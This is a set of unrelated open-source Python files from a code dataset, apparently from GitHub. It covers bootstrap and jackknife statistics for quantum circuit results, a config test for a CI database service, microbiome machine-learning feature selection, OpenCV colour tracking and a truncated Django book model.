f'{para.circuit}_Nq{para.Nq}_depth{para.depth}_t{para.t}_sample{para.Nsample}'\n elif para.culcType == B12 or para.culcType == B15:\n if para.circuit=='RC':\n return f'{para.circuit}_Nq{para.Nq}_{para.Ntimes}times_t{para.t}_sample{para.Nsample}'\n if para.circuit=='LRC' or para.circuit=='RDC':\n return f'{para.circuit}_Nq{para.Nq}_{para.Ntimes}times_depth{para.depth}_t{para.t}_sample{para.Nsample}'\n else:\n return None\n\ndef glob_file_name(para : Para):\n return f'{para.circuit}_Nq{para.Nq}_*times_depth{para.depth}_t{para.t}_sample*' \n\ndef get_data(para : Para) -> Series or None:\n try:\n if para.culcType == B12_JACKKNIFE:\n return pd.read_csv(f\"{ROOT_PATH}/result/jackknife/\"+get_file_name(para)+\".csv\")['value']\n elif para.culcType == B12 or para.culcType == B15:\n return pd.read_csv(f\"{ROOT_PATH}/result/{para.Ntimes}times/\"+get_file_name(para)+\".csv\")['value']\n except FileNotFoundError:\n return None\n except KeyError:\n return None\n\n# def ecdf(data :Series):\n# n=len(data)\n# x=np.sort(data)\n# y=np.arange(1,n+1)/n\n# return x,y\n\n# def save_plot_ecdf_image(data :Series, para :Para):\n# \"\"\"Plot ecdf\"\"\"\n# # Call get_ecdf function and assign the returning values\n# x, y = ecdf(data)\n \n# plt.clf()\n# plt.plot(x,y,marker='.',linestyle='none')\n# plt.xlabel(\"FP\")\n# plt.ylabel(\"\")\n# plt.title(\"ECDF\")\n# plt.savefig(\"{ROOT_PATH}/result/figure/ecdf_\"+get_file_name(para)+\".png\")\n\n# def draw_bs_replicates(data :Series, func, size :int):\n# \"\"\"creates a bootstrap sample, computes replicates and returns replicates array\"\"\"\n# # Create an empty array to store replicates\n# bs_replicates = np.empty(size)\n \n# # Create bootstrap replicates as much as size\n# for i in range(size):\n# # Create a bootstrap sample\n# bs_sample = np.random.choice(data,size=len(data))\n# # Get bootstrap replicate and append to bs_replicates\n# bs_replicates[i] = func(bs_sample)\n \n# return bs_replicates\n\n# def save_some_plot_image(para:Para):\n# plt.clf()\n# data_files=[]\n# for f in Path(\"{ROOT_PATH}/result/\").glob(f\"*/{glob_file_name(para)}.csv\"):\n# data_files.append(str(f))\n# size=len(data_files)\n# fig = plt.figure(figsize=(5*size,5))\n# percentiles = {}\n# for i in range(size):\n# file=data_files[i]\n# Ntimes=int(re.findall(r'_([0-9]+)times_', str(file))[0])\n# Nsample=int(re.findall(r'_sample([0-9]+).', str(file))[0])\n# para.Ntimes=Ntimes\n# para.Nsample=Nsample\n# data=get_data(para)\n# bs_replicates_data = draw_bs_replicates(data,np.mean,15000)\n\n# hist_ax=fig.add_subplot(2,size,i+1)\n# bs_ax=fig.add_subplot(2,size,size+i+1)\n\n# hist_ax.set_title(f\"{Ntimes}times Nsample:{Nsample}\")\n# hist_ax.hist(data,bins=30,density=True)\n# # p1=[2.5]\n# # p2=[97.5]\n# p1=[5.5]\n# p2=[94.5]\n# pt_left=np.percentile(data,p1)\n# pt_center=np.percentile(data,[50])\n# pt_right=np.percentile(data,p2)\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_{p1[0]}']=pt_left\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_{50}']=pt_center\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_{p2[0]}']=pt_right\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_minus']=pt_left-pt_center\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_plus']=pt_right-pt_center\n# hist_ax.axvline(x=pt_left, ymin=0, ymax=1,label=f'{p1[0]}th percentile',c='y')\n# hist_ax.axvline(x=pt_right, ymin=0, ymax=1,label=f'{p2[0]}th percentile',c='r')\n# # hist_ax.legend(loc = 'upper right')\n# bs_ax.hist(bs_replicates_data,bins=30,density=True)\n# pt_left=np.percentile(bs_replicates_data,[2.5])\n# pt_center=np.percentile(bs_replicates_data,[50])\n# pt_right=np.percentile(bs_replicates_data,[97.5])\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_{p1[0]}_bs']=pt_left\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_{50}_bs']=pt_center\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_{p2[0]}_bs']=pt_right\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_minus_bs']=pt_left-pt_center\n# percentiles[f'{para.depth}_{para.t}_{Ntimes}_{Nsample}_plus_bs']=pt_right-pt_center\n# bs_ax.axvline(x=pt_left, ymin=0, ymax=1,label=f'{p1[0]}th percentile',c='y')\n# bs_ax.axvline(x=pt_right, ymin=0, ymax=1,label=f'{p2[0]}th percentile',c='r')\n# # fig.tight_layout() #レイアウトの設定\n# for k, v in percentiles.items():\n# print(k, \"\\t\", v[0])\n\n# plt.savefig(f\"{ROOT_PATH}/result/figure/all_Nq{para.Nq}_depth{para.depth}_t{para.t}.png\")\n\n# def test():\n# fig = plt.figure(figsize=(5*2,5))\n# data=np.random.normal(loc=1, scale=1, size=5000)\n# data=np.append(data, np.random.normal(loc=5, scale=1, size=7500))\n# bs_replicates_data = draw_bs_replicates(data,np.mean,5000)\n\n# hist_ax=fig.add_subplot(2,1,1)\n# bs_ax=fig.add_subplot(2,1,2)\n\n# # hist_ax.set_title(f\"{Ntimes}times Nsample:{Nsample}\")\n# # p1=[2.5]\n# # p2=[97.5]\n# p1=[5.5]\n# p2=[94.5]\n# hist_ax.hist(data,bins=30,density=True)\n# pt_left=np.percentile(data,p1)\n# pt_right=np.percentile(data,p2)\n# hist_ax.axvline(x=pt_left, ymin=0, ymax=1,label=f'{p1[0]}th percentile',c='y')\n# hist_ax.axvline(x=pt_right, ymin=0, ymax=1,label=f'{p2[0]}th percentile',c='r')\n# bs_ax.hist(bs_replicates_data,bins=30,density=True)\n# pt_left=np.percentile(bs_replicates_data,p1)\n# pt_right=np.percentile(bs_replicates_data,p1)\n# bs_ax.axvline(x=pt_left, ymin=0, ymax=1,label=f'{p1[0]}th percentile',c='y')\n# bs_ax.axvline(x=pt_right, ymin=0, ymax=1,label=f'{p2[0]}th percentile',c='r')\n\n# plt.savefig(f\"{ROOT_PATH}/result/figure/test.png\")\n\n# bootstrap confidence interval\n# return left, mean, right\ndef bootstrap(data, statistic, *, n_resamples=9999, batch=None,\n vectorized=True, paired=False, axis=0, confidence_level=0.95,\n method='BCa', random_state=None):\n # Input validation\n args = stats._resampling._bootstrap_iv(data, statistic, vectorized, paired, axis,\n confidence_level, n_resamples, batch, method,\n random_state)\n data, statistic, vectorized, paired, axis = args[:5]\n confidence_level, n_resamples, batch, method, random_state = args[5:]\n\n theta_hat_b = []\n\n batch_nominal = batch or n_resamples\n\n for k in range(0, n_resamples, batch_nominal):\n batch_actual = min(batch_nominal, n_resamples-k)\n # Generate resamples\n resampled_data = []\n for sample in data:\n resample = stats._resampling._bootstrap_resample(sample, n_resamples=batch_actual,\n random_state=random_state)\n resampled_data.append(resample)\n\n # Compute bootstrap distribution of statistic\n theta_hat_b.append(statistic(*resampled_data, axis=-1))\n theta_hat_b = np.concatenate(theta_hat_b, axis=-1)\n\n # Calculate percentile interval\n alpha = (1 - confidence_level)/2\n if method == 'bca':\n interval = stats._resampling._bca_interval(data, statistic, axis=-1, alpha=alpha,\n theta_hat_b=theta_hat_b, batch=batch)\n percentile_fun = stats._resampling._percentile_along_axis\n else:\n interval = alpha, 1-alpha\n\n def percentile_fun(a, q):\n return np.percentile(a=a, q=q, axis=-1)\n\n # Calculate confidence interval of statistic\n ci_l = percentile_fun(theta_hat_b, interval[0]*100)\n ci_u = percentile_fun(theta_hat_b, interval[1]*100)\n if method == 'basic': # see [3]\n theta_hat = statistic(*data, axis=-1)\n ci_l, ci_u = 2*theta_hat - ci_u, 2*theta_hat - ci_l\n\n # return stats._resampling.BootstrapResult(confidence_interval=stats._resampling.ConfidenceInterval(ci_l, ci_u),\n # standard_error=np.std(theta_hat_b, ddof=1, axis=-1))\n return ci_l, np.mean(theta_hat_b), ci_u\n\ndef chebyshevs_inequality_confidence_interval(data :Series, k:float=3) -> tuple[float, float]:\n N=len(data)\n mean=np.mean(data)\n std=np.std(data)\n H=k*std/math.sqrt(N)\n return mean, H\n\ndef main_jackknife():\n Nq_list=[2,3,4,5,6,7]\n t_list=[1,2,3,4]\n depth=10\n circuit_list={'RC', 'LRC', 'RDC'}\n csv=DataFrame(columns=Nq_list, index=t_list, dtype=object)\n for circuit in circuit_list:\n for Nq in Nq_list:\n for t in t_list:\n para=Para(culcType=B12_JACKKNIFE, circuit=circuit, t=t, depth=depth, Nq=Nq, Nsample=1000)\n data=get_data(para)\n if data is None:\n continue\n ps_mean=np.mean(data)\n vps=np.sum([math.pow(psi-ps_mean, 2) for psi in data]) / (len(data)-1)\n conf = 1.960 * math.sqrt(vps/len(data))\n csv[Nq][t] = f\"{round(ps_mean, 3)}{'±'}{round(conf, 3)}\"\n print(csv)\n csv.to_csv(f'{ROOT_PATH}/result/total/jackknife95_{circuit}_D{depth}.csv')\n\n Nq_list=[2,3,4,5,6,7]\n depth_list=[3,4,5,6,7,8,9,10]\n t_list=[1,2,3,4]\n circuit_list={'LRC', 'RDC'}\n for circuit in circuit_list:\n for t in t_list:\n csv=DataFrame(columns=Nq_list, index=depth_list, dtype=object)\n for Nq in Nq_list:\n for depth in depth_list:\n para=Para(culcType=B12_JACKKNIFE, circuit=circuit, t=t, depth=depth, Nq=Nq, Nsample=1000)\n data=get_data(para)\n if data is None:\n continue\n ps_mean=np.mean(data)\n vps=np.sum([math.pow(psi-ps_mean, 2) for psi in data]) / (len(data)-1)\n conf = 1.960 * math.sqrt(vps/len(data))\n csv[Nq][depth] = f\"{round(ps_mean, 3)}{'±'}{round(conf, 3)}\"\n print(csv)\n csv.to_csv(f'{ROOT_PATH}/result/total/jackknife95_{circuit}_t{t}.csv')\n\n # Nq_list=[2,3,4,5,6,7]\n # t_list=[1,2,3,4]\n # circuit_list={'LRC', 'RDC'}\n # for circuit in circuit_list:\n # for t in t_list:\n # csv=DataFrame(columns=[f\"{Nq}qubit\" for Nq in Nq_list], index=[\"ps\", \"vps\", \"conf\", \"skew\", \"kurt\", \"result\"], dtype=object)\n # for Nq in Nq_list:\n # para=Para(culcType=B12_JACKKNIFE, circuit=circuit, t=t, depth=10, Nq=Nq, Nsample=1000)\n # data=get_data(para)\n # if data is None:\n # continue\n # ps_mean=np.mean(data)\n # vps=np.sum([math.pow(psi-ps_mean, 2) for psi in data]) / (len(data)-1)\n # conf = 1.960 * math.sqrt(vps/len(data))\n # csv[f\"{Nq}qubit\"][\"ps\"] = ps_mean\n # csv[f\"{Nq}qubit\"][\"vps\"] = vps\n # csv[f\"{Nq}qubit\"][\"conf\"] = conf\n # csv[f\"{Nq}qubit\"][\"skew\"] = data.skew()\n # csv[f\"{Nq}qubit\"][\"kurt\"] = data.kurt()\n # csv[f\"{Nq}qubit\"][\"result\"] = f\"{round(ps_mean, 4)}{'±'}{round(conf, 4)}\"\n # # csv[f\"{Nq}qubit\"][\"result\"] = (ps_mean, conf)\n # # print(csv)\n # csv.to_csv(f'{ROOT_PATH}/result/total/jackknife_{circuit}_t{t}.csv')\n\n # t_list=[1,2,3,4]\n # for t in t_list:\n # para=Para(culcType=B12_JACKKNIFE, circuit=\"RDC\", depth=10, t=t, Nq=7, Nsample=1000)\n # title=f'jackknife_{para.circuit}_Nq{para.Nq}_t{para.t}_sample{para.Nsample}'\n # data=get_data(para)\n # ps_mean=np.mean(data)\n # vps=np.sum([math.pow(psi-ps_mean, 2) for psi in data]) / (len(data)-1)\n # conf = 1.960 * math.sqrt(vps/len(data))\n # print(ps_mean, vps, conf, data.skew(), data.kurt())\n # plt.title(title)\n # plt.hist(data, bins=30, density=True)\n # # plt.hist(data, bins=30, density=True, range=[0, math.factorial(t)*2])\n # plt.axvline(x=[math.factorial(t)], ymin=0, ymax=1, c='y')\n # plt.axvline(x=[ps_mean], ymin=0, ymax=1, c='r')\n # plt.axvline(x=[ps_mean-conf], ymin=0, ymax=1, c='r')\n # plt.axvline(x=[ps_mean+conf], ymin=0, ymax=1, c='r')\n # plt.savefig(f\"{ROOT_PATH}/result/figure/{title}.png\")\n # plt.clf()\n\ndef main_bootstrap(alpha=0.95):\n Nq_list=[2,3,4,5,6,7]\n depth_list=[5,6,7,8,9,10,11,12,13,14]\n t_list=[1,2,3,4,5,6]\n # Nsample=200\n rng=np.random.default_rng()\n Ntimes=1000\n Nsample=100\n circuit_list={'LRC', 'RDC'}\n for circuit in circuit_list:\n for t in t_list:\n csv=DataFrame(columns=Nq_list, index=depth_list, dtype=object)\n for Nq in Nq_list:\n for depth in depth_list:\n para=Para(culcType=B12, circuit=circuit, Ntimes=Ntimes, t=t, depth=depth, Nq=Nq, Nsample=Nsample)\n data=get_data(para)\n if data is None:\n continue\n ci_mean=bootstrap((data,), np.mean, confidence_level=alpha, n_resamples=10000, random_state=rng, method=\"BCa\")\n mean=round(ci_mean[1], 3)\n lci=round(ci_mean[0]-ci_mean[1], 3)\n rci=round(ci_mean[2]-ci_mean[1], 3)\n # print(Nq, t, mean, lci, rci)\n csv[Nq][depth] = f\"{mean} +{rci}, {lci}\"\n print(csv)\n csv.to_csv(f'{ROOT_PATH}/result/total/bootstrap{alpha}_{circuit}_t{t}_Ntimes{Ntimes}_Nsample{Nsample}.csv', sep=\"\\t\")\n \n Nq_list=[2,3,4,5,6,7]\n t_list=[1,2,3,4]\n depth=10\n circuit_list={'RC', 'LRC', 'RDC'}\n rng=np.random.default_rng()\n csv=DataFrame(columns=Nq_list, index=t_list, dtype=object)\n for circuit in circuit_list:\n for Nq in Nq_list:\n for t in t_list:\n para=Para(culcType=B12, circuit=circuit, depth=depth, Ntimes=Ntimes, t=t, Nq=Nq, Nsample=Nsample)\n data=get_data(para)\n if data is None:\n continue\n ci_mean=bootstrap((data,), np.mean, confidence_level=alpha, n_resamples=10000, random_state=rng, method=\"BCa\")\n mean=round(ci_mean[1], 3)\n lci=round(ci_mean[0]-ci_mean[1], 3)\n rci=round(ci_mean[2]-ci_mean[1], 3)\n print(Nq, t, mean, lci, rci)\n csv[Nq][t] = f\"{mean} +{rci}, {lci}\"\n csv.to_csv(f'{ROOT_PATH}/result/total/bootstrap{alpha}_{circuit}_Ntimes{Ntimes}_Nsample{Nsample}.csv', sep=\"\\t\")\n\ndef main_chebyshevs(alpha=0.95):\n Nq_list=[2,3,4,5,6,7]\n # Nq_list=[3,4,5,6,7]\n t_list=[1,2,3,4]\n depth_list=[3,4,5,6,7,8,9,10]\n Ntimes=40\n Nsample=25\n circuit_list={'LRC', 'RDC'}\n for circuit in circuit_list:\n for t in t_list:\n csv=DataFrame(columns=Nq_list, index=depth_list, dtype=object)\n for Nq in Nq_list:\n for depth in depth_list:\n para=Para(culcType=B12, circuit=circuit, Ntimes=Ntimes, t=t, depth=depth, Nq=Nq, Nsample=Nsample)\n data=get_data(para)\n if data is None:\n continue\n mean, H=chebyshevs_inequality_confidence_interval(data, k=math.sqrt(1./(1-alpha)))\n csv[Nq][depth] = f\"{round(mean, 3)}{'±'}{round(H, 3)}\"\n # csv[Nq][depth] = (int(mean*1000)/1000, int(H*1000)/1000)\n # print(Nq, depth, mean, H)\n print(csv)\n csv.to_csv(f'{ROOT_PATH}/result/total/chebyshevs{alpha}_{circuit}_t{t}_Ntimes{Ntimes}_Nsample{Nsample}.csv')\n\n Nq_list=[2,3,4,5,6,7]\n t_list=[1,2,3,4]\n depth=10\n circuit_list={'RC', 'LRC', 'RDC'}\n csv=DataFrame(columns=Nq_list, index=t_list, dtype=object)\n for circuit in circuit_list:\n for Nq in Nq_list:\n for t in t_list:\n para=Para(culcType=B12, circuit=circuit, depth=depth, Ntimes=Ntimes, t=t, Nq=Nq, Nsample=Nsample)\n data=get_data(para)\n if data is None:\n continue\n mean, H=chebyshevs_inequality_confidence_interval(data, k=math.sqrt(1./(1-alpha)))\n # mean, H=chebyshevs_inequality_confidence_interval(np.sort(data)[100:-100], k=3)\n print(Nq, t, mean, H)\n csv[Nq][t] = f\"{round(mean, 3)}{'±'}{round(H, 3)}\"\n # csv[Nq][t] = (int(mean*1000)/1000, int(H*1000)/1000)\n csv.to_csv(f'{ROOT_PATH}/result/total/chebyshevs{alpha}_{circuit}_Ntimes{Ntimes}_Nsample{Nsample}.csv')\n\nif __name__ == \"__main__\":\n alpha=[0.89, 0.95]\n for a in alpha:\n main_chebyshevs(alpha=a)\n main_bootstrap(alpha=a)\n main_jackknife()\n # test()\n","repo_name":"TakayaNo1/t-design","sub_path":"fp/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":17963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29594528927","text":"# -*- coding: utf-8 -*-\n\nimport unittest\n\nfrom ..tools import CONFIG_FILE, cursor, parse, setup_db\n\n\nclass InitialisationCase(unittest.TestCase):\n def test_config(self):\n config = parse(CONFIG_FILE)\n expected = {\n \"celery\": {\"broker\": \"amqp://rabbitmq\"},\n \"db\": {\"host\": \"\", \"name\": \"ci_ref\", \"port\": \"\", \"user\": \"odoo\"},\n \"admin\": {\"token\": \"super-token\"},\n \"projects\": {\n \"bar\": {\n \"domain\": \"ci.dy\",\n \"port_mapping_active\": False,\n \"port_mapping_max\": None,\n \"port_mapping_start\": None,\n \"spare_pool\": 2,\n \"token\": \"bar-token\",\n \"user\": \"foo\",\n },\n \"foo\": {\n \"domain\": \"ci.dy\",\n \"port_mapping_active\": True,\n \"port_mapping_max\": 5,\n \"port_mapping_start\": 8000,\n \"spare_pool\": 3,\n \"token\": \"foo-token\",\n \"user\": \"foo\",\n },\n },\n }\n self.assertEqual(config, expected)\n\n def test_setup(self):\n with cursor(\"postgres\") as cr:\n cr.execute(\"DROP DATABASE IF EXISTS ci_ref\")\n setup_db()\n with cursor(\"ci_ref\") as cr:\n cr.execute(\n \"\"\"SELECT EXISTS\n (SELECT 1\n FROM information_schema.tables\n WHERE table_name = 'port_mapping'\n )\"\"\"\n )\n res = cr.fetchall()\n self.assertTrue(res[0][0])\n","repo_name":"akretion/cidbservice","sub_path":"cidbservice/tests/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12269236785","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Sep 17 16:02:10 2022\r\n\r\n@author: trunil\r\n\"\"\"\r\n\r\n\r\nimport numpy as np\r\nnp.random.seed(100)\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n#pipeline\r\nfrom sklearn.pipeline import Pipeline\r\n\r\n#scalers\r\nfrom sklearn.preprocessing import QuantileTransformer\r\nfrom sklearn.preprocessing import StandardScaler\r\n\r\n#models\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.neural_network import MLPClassifier\r\nfrom sklearn.ensemble import RandomForestClassifier\r\n\r\n# report\r\nfrom sklearn.metrics import classification_report\r\n\r\n#train-test split\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.model_selection import StratifiedShuffleSplit\r\n\r\n#metrics\r\nfrom sklearn.metrics import accuracy_score\r\n\r\n# GridSearch\r\nfrom sklearn.model_selection import GridSearchCV\r\n\r\n#pickle for importing saved model\r\nimport joblib\r\n\r\n\r\n#%%\r\n\r\n# Run the data processing and model training files and import functions\r\nfrom silva_data_process import *\r\n\r\nfrom silva_ml_functions import *\r\n\r\n#%%\r\n\r\ndef run_rfc(X_train, X_test, y_train, y_test):\r\n scaler = QuantileTransformer(n_quantiles=100)\r\n model_rfc = RandomForestClassifier()\r\n \r\n pipe_rfc = Pipeline([('scaler', scaler),\r\n ('model', model_rfc)])\r\n \r\n param_grid = {\r\n 'model__max_depth': [1,5, 8, 10, 15, 20],\r\n 'model__n_estimators': [1,5, 8, 10, 15, 20],\r\n 'model__min_samples_split': [2, 5, 10]\r\n }\r\n \r\n \r\n #print('*'*5)\r\n \r\n CV_rfc = GridSearchCV(estimator=pipe_rfc,\r\n param_grid=param_grid,\r\n scoring='f1_micro',\r\n cv= 10,\r\n return_train_score=False,\r\n verbose=1)\r\n \r\n #print('\\n\\n grid search starting')\r\n grid_search_rfc = CV_rfc.fit(X_train, y_train)\r\n \r\n # save rfc grid search\r\n joblib.dump(grid_search_rfc, 'silva_grid_search_rfc.pckl')\r\n \r\n #print('\\n\\n grid search done')\r\n \r\n \r\n # define model\r\n best_model_rfc = grid_search_rfc.best_estimator_\r\n \r\n #fit\r\n best_model_rfc.fit(X_train, y_train)\r\n \r\n #predict\r\n y_pred = best_model_rfc.predict(X_test)\r\n \r\n # f1 score\r\n f1_rfc = f1_score(y_test, y_pred, average='micro')\r\n \r\n print('F1 score with feature selection is: ', f1_rfc)\r\n\r\n\r\n#%%\r\n''' Chi-squared feaure selection'''\r\nprint('\\n\\nChi-squared feaure selection')\r\n\r\nfrom sklearn.feature_selection import SelectKBest\r\nfrom sklearn.feature_selection import chi2\r\nfrom sklearn.preprocessing import MinMaxScaler\r\n\r\n\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\r\n\r\n# scale\r\nscaler = QuantileTransformer(n_quantiles=100)\r\nX_train = scaler.fit_transform(X_train)\r\n\r\nnum_feats = 10\r\n\r\n#X_norm = MinMaxScaler().fit_transform(X_train)\r\nchi_selector = SelectKBest(chi2, k=num_feats)\r\nchi_selector.fit(X_train, y_train)\r\nchi_support = chi_selector.get_support()\r\nchi_feature = filtered_data.loc[:,chi_support].columns.tolist()\r\nprint(str(len(chi_feature)), 'selected features')\r\n\r\n#%%% ml with feature selected data\r\n\r\nsel_data = filtered_data[chi_feature]\r\n\r\nX = sel_data.to_numpy()\r\n\r\n\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\r\n\r\n\r\n#%% transformation\r\n\r\n# fourier\r\nX_train, X_test = fourier(X_train, X_test)\r\n\r\n# tsne transform\r\nX_train, X_test = tsne(X_train, X_test)\r\n\r\n\r\n#%%\r\nprint('\\n\\nChi-squared : ML-RFC')\r\n\r\nrun_rfc(X_train, X_test, y_train, y_test)\r\n \r\n#%%\r\n#%% \r\n'''Recursive feature elimination'''\r\n# can be used with any model\r\nprint('\\n\\nRecursive feature elimination')\r\n\r\nfrom sklearn.feature_selection import RFE\r\n\r\nX = (filtered_data.copy()\r\n .to_numpy()\r\n )\r\n\r\n\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\r\n\r\n\r\n# scale\r\nscaler = QuantileTransformer(n_quantiles=100)\r\nX_train = scaler.fit_transform(X_train)\r\n\r\n\r\nnum_feats = 10\r\n\r\nrfe_selector = RFE(estimator=RandomForestClassifier(),\r\n n_features_to_select=num_feats,\r\n step=10,\r\n verbose=5)\r\n\r\nrfe_selector.fit(X_train, y_train)\r\nrfe_support = rfe_selector.get_support()\r\nrfe_feature = filtered_data.loc[:,rfe_support].columns.tolist()\r\nprint(str(len(rfe_feature)), 'selected features')\r\n\r\n#%%% ml with feature selected data\r\n\r\nsel_data = filtered_data[rfe_feature]\r\n\r\nX = sel_data.to_numpy()\r\n\r\n\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\r\n\r\n#%% transformation\r\n\r\n# fourier\r\nX_train, X_test = fourier(X_train, X_test)\r\n\r\n# tsne transform\r\nX_train, X_test = tsne(X_train, X_test)\r\n\r\n\r\n#%%\r\nprint('\\n\\nRFE : ML-RFC')\r\n\r\nrun_rfc(X_train, X_test, y_train, y_test)\r\n\r\n#%%\r\n\r\n\r\n","repo_name":"Trunil/silva_microbiome_ML","sub_path":"silva_feature_selection.py","file_name":"silva_feature_selection.py","file_ext":"py","file_size_in_byte":4729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10228548987","text":"import argparse\n\nimport numpy as np\nimport cv2 as cv\n\n\ndef gstreamer_pipeline(width=512, height=512, flip_180=False):\n args = [\"libcamerasrc\", f\"video/x-raw, width={width}, height={height}\"]\n if flip_180:\n args.append(\"videoflip method=rotate-180\")\n args.append(\"appsink\")\n return (\" ! \".join(args))\n\n\ndef calc_pos(x_pos, y_pos, x_mid, y_mid, x_center, y_center, x_band, y_band):\n if x_mid < x_center - x_band:\n x_pos -= 1\n elif x_mid > x_center + x_band:\n x_pos += 1\n\n if y_mid < y_center - y_band:\n y_pos -= 1\n elif y_mid > y_center + y_band:\n y_pos += 1\n\n if x_pos >= 180:\n x_pos = 180\n elif x_pos <= 0:\n x_pos = 0\n else:\n x_pos = x_pos\n if y_pos >= 180:\n y_pos = 180\n elif y_pos <= 0:\n y_pos = 0\n else:\n y_pos = y_pos\n return x_pos, y_pos\n\n\ndef draw_bounding_rect_for_contour(contour, img):\n (x, y, w, h) = cv.boundingRect(contour)\n # Getting Position of rectangle & line colour & thickness\n cv.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n\ndef get_midpoints(contour):\n (x, y, w, h) = cv.boundingRect(contour)\n # Checking horizontal center of red object & save to variable\n x_mid = int((x + x + w) / 2)\n # Checking Vertical center of red object & save to variable\n y_mid = int((y + y + h) / 2)\n return x_mid, y_mid\n\n\ndef show_image(img, name=None, img_scale=1):\n display_img = cv.resize(img, (img.shape[1] // img_scale,\n img.shape[0] // img_scale))\n if not name:\n name = \"img\"\n cv.imshow(name, display_img)\n cv.waitKey(0)\n cv.destroyWindow(name)\n\n\ndef get_contours_and_mask_hsv(img, low_val, high_val):\n hsv_img = cv.cvtColor(img, cv.COLOR_BGR2HSV)\n\n # low_red = np.array([163, 74, 30])\n # high_red = np.array([179, 255, 255])\n\n mask = cv.inRange(hsv_img, low_val, high_val)\n mask = cv.erode(mask, np.ones((5, 5), dtype='uint8'), iterations=1)\n # red = cv.bitwise_and(frame, frame, mask=red_mask)\n\n contours, _ = cv.findContours(mask, cv.RETR_LIST, cv.CHAIN_APPROX_NONE)\n return contours, mask\n\n\ndef get_contours_and_mask_bgr(img, low_val, high_val):\n mask = cv.inRange(img, low_val, high_val)\n contours, _ = cv.findContours(mask, cv.RETR_LIST, cv.CHAIN_APPROX_NONE)\n return contours, mask\n\n\ndef main(width, height, low_val, high_val):\n # _gst_pipeline = gstreamer_pipeline(width, height, flip_180=True)\n # cap = cv.VideoCapture(_gst_pipeline, cv.CAP_GSTREAMER)\n\n # NOTE: Capture directly from laptop camera\n cap = cv.VideoCapture(0)\n\n status, frame = cap.read()\n rows, cols, ch = frame.shape\n x_mid = int(cols / 2)\n y_mid = int(rows / 2)\n\n x_center = int(cols / 2)\n y_center = int(rows / 2)\n\n x_pos = 90\n y_pos = 90\n\n x_band = 50\n y_band = 50\n\n while status:\n frame = cv.flip(frame, 1)\n contours, mask = get_contours_and_mask_bgr(frame, low_val, high_val)\n # contours, mask = get_contours_and_mask_hsv(frame, low_val, high_val)\n\n if not len(contours):\n print(\"No contour found\")\n status, frame = cap.read()\n continue\n areas = [cv.contourArea(x) for x in contours]\n sorted_inds = np.argsort(areas)\n max_area_contour = contours[sorted_inds[-1]]\n # img = frame.copy()\n\n draw_bounding_rect_for_contour(max_area_contour, frame)\n\n x_mid, y_mid = get_midpoints(max_area_contour)\n\n # Draw horizontal centre line of red object\n cv.line(frame, (x_mid, 0), (x_mid, height), (0, 255, 0), 2)\n # Draw Vertical centre line of red object\n cv.line(frame, (0, y_mid), (width, y_mid), (0, 255, 0), 2)\n img = np.hstack([frame, np.repeat(mask, 3).reshape(*mask.shape, 3)])\n cv.imshow(\"IN Frame\", img)\n\n x_pos, y_pos = calc_pos(x_pos, y_pos, x_mid, y_mid,\n x_center, y_center, x_band, y_band)\n print(f\"X, Y: ({x_pos}, {y_pos})\")\n\n key = cv.waitKey(1)\n if key == ord('q'):\n break\n status, frame = cap.read()\n\n\n cv.destroyAllWindows()\n cap.release()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(add_help=False)\n parser.add_argument(\"-h\", \"--height\", type=int, default=320)\n parser.add_argument(\"-w\", \"--width\", type=int, default=480)\n parser.add_argument(\"-lv\", \"--low-val\")\n parser.add_argument(\"-hv\", \"--high-val\")\n args = parser.parse_args()\n low_val = np.array([*map(int, args.low_val.split(\",\"))])\n high_val = np.array([*map(int, args.high_val.split(\",\"))])\n main(args.width, args.height, low_val, high_val)\n","repo_name":"akshaybadola/robot_experiments","sub_path":"two_dof_arm/object_tracking.py","file_name":"object_tracking.py","file_ext":"py","file_size_in_byte":4660,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"37445361112","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n\n# Create your models here.\nclass Books(models.Model):\n\n ACTION = 'ac'\n ADVENTURE = 'ad'\n HORROR = 'h'\n THRILLER = 'th'\n DRAMA = 'd'\n COMEDY = 'c'\n MANGA = 'm'\n COMICS = 'co'\n\n GENDER_CHOICES = [\n (ACTION, 'action'),\n (ADVENTURE, 'adventure'),\n (HORROR, 'horror'),\n (THRILLER, 'thriller'),\n (DRAMA, 'drama'),\n (COMEDY, 'comedy'),\n (MANGA, 'manga'),\n (COMICS, 'comics'),\n ]\n\n gender = models.CharField(max_length=20, choices=GENDER_CHOICES, default=ADVENTURE) # NOQA\n title = models.CharField(max_length=100)\n isbn = models.CharField(max_length=13)\n author = models.CharField(max_length=100)\n reg_date = models.DateField(auto_now=True)\n\n class Meta:\n db_table = 'books'\n\n def __str__(self):\n return self.title\n\n\nclass Loan(models.Model):\n\n 